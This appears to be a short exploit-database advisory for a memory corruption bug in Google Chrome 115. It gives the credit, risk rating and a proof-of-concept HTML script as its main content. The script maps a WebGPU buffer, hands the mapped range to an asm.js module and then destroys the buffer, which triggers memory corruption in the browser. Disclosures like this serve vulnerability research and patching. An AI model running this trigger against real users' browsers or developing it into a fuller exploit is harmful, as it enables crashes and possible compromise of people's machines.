Google Chrome 115.0.5790.102 Memory Corruption

2023.07.25
Credit: Jean Pereira
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

<script> /* Google Chrome WebGPU Memory Corruption Author: Jean Pereira <pereira.one.010@gmail.com> Released: 2023/06/25 Vendor: https://www.google.com Software: https://www.google.com/chrome/ Tested with version: 115.0.5790.102 (latest version) */ navigator.gpu.requestAdapter().then(a => { a.requestDevice().then(d => { const b = d.createBuffer({ mappedAtCreation: true, size: 0x1000, usage: GPUBufferUsage.MAP_WRITE, }) function asm(s, a, b) { 'use asm' var arr = new s.Uint32Array(b) function nop(x) { x = x | 0 } return nop } asm({ Uint32Array: Uint32Array }, {}, b.getMappedRange()) b.destroy() }) }) </script>


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